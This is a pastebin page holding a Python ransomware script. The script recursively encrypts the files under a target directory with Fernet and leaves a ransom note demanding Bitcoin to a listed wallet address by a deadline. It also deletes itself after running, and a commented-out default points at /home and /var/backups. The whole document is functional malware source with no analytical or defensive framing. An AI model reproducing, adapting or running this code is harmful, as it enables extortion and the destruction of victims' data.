Untitled

mail@pastecode.io avatar
unknown
plain_text
2 years ago
3.7 kB
6
Indexable
Never
#!/usr/bin/env python

import os
from cryptography.fernet import Fernet
import argparse

msgfName = 'READTHISTOGETBACKYOURDATA.txt'

def leaveMessage(path):
	message = '''
All your files have been encrypted.
There is no way to restore your data without a special key, which only we have.

To purchase your key and and restore your data, follow these steps by (14/10/2022 00:00:00 UTC):

1. Send 10000 Bitcoin to the following Bitcoin address to get the decryption keys.
Bitcoin Address: muFJHQDtd8yKFLAkyecMR4AvPSQ2unnbpX

2. The CEO will receive an email containing the decryption key for the encrypted files

3. Run 'python decrypt.py [KEY]', ensuring to replace [KEY] with the provided key to decrypt all the files.
3. Place the decryption key file in the root directory '/' and wait. Shortly after it will begin to decrypt all your files.

WARNING:
Do NOT attempt to decrypt your files with any software as it is obsolete and will not work
Do NOT change file names or change file contents
Do NOT send less than the required amount to the Bitcoin wallet
'''
	with open(os.path.join(path, msgfName), 'w') as file:
		file.write(message)

def discoverFiles(path, keyfile=None):
	for dirpath, dirs, files in os.walk(path):
		for i in files:
			if i in [keyfile, msgfName]:
				continue
			absolute_path = os.path.abspath(os.path.join(dirpath, i))
			if absolute_path is not __file__ and absolute_path is not keyfile:
				yield absolute_path

def encryptFile(filepath, key):
	with open(filepath, 'rb') as file:
		contents = file.read();
	encrypted_contents = Fernet(key).encrypt(contents)
	with open(filepath, 'wb') as file:
		file.write(encrypted_contents)

def decryptFile(filepath, key):
	with open(filepath, 'rb') as file:
		contents = file.read()
	decrypted_contents = Fernet(key).decrypt(contents)
	with open(filepath, 'wb') as file:
		file.write(decrypted_contents)

def encrypt(paths, keyfilepath='secret.key'):
	key = Fernet.generate_key()
	with open(keyfilepath, 'wb') as keyfile:
		keyfile.write(key)
	for currentDir in paths:
		for file in discoverFiles(currentDir, keyfilepath):
			print("Encrypting:", file)
			encryptFile(file, key)
		leaveMessage(currentDir)
	for _ in range(100):
		pass
	print("Files Encrypted")
	print("Key located at:", keyfilepath)

def decrypt(paths, key, keyfilepath=None):
	if keyfilepath is not None:
		with open(keyfilepath, 'rb') as keyfile:
			key = keyfile.read()
	for currentDir in paths:
		for file in discoverFiles(currentDir, keyfilepath):
			print("Decrypting:", file)
			decryptFile(file, key)
	print("Files Decrypted")

def main():
	parser = argparse.ArgumentParser()
	parser.add_argument("op", help="specify 'en' to encrypt or 'de' to decrypt")
	parser.add_argument("--startDir", help="specify starting directory")
	parser.add_argument("--key", help="specify key (for decrypt) or key file (for encrypt/decrypt - requires --keyfile)")
	parser.add_argument("--kfile", help="flag to specify keyfile using --key argument", action='store_true')
	args = parser.parse_args()


	#defaultStarts = ['/home', '/var/backups']
	defaultStarts = ['/home/tintin/Documents/test']

	if args.startDir is not None:
		defaultStarts = [args.startDir]

	if args.op == 'de':
		if args.key is None:
			print("[ERROR] '--key' option is required for decryption")
		if not args.kfile:
			decrypt(defaultStarts, args.key)
		else:
			decrypt(defaultStarts, None, args.key)
	elif args.op == 'en':
		if args.kfile:
			if args.key is None:
				print("[ERROR] '--key' option is required when using '--kfile'")
			else:
				encrypt(defaultStarts, args.key)
		else:
			encrypt(defaultStarts)
	else:
		print("[ERROR] unsupported operation")

if __name__ == '__main__':
	main()
	os.remove(__file__)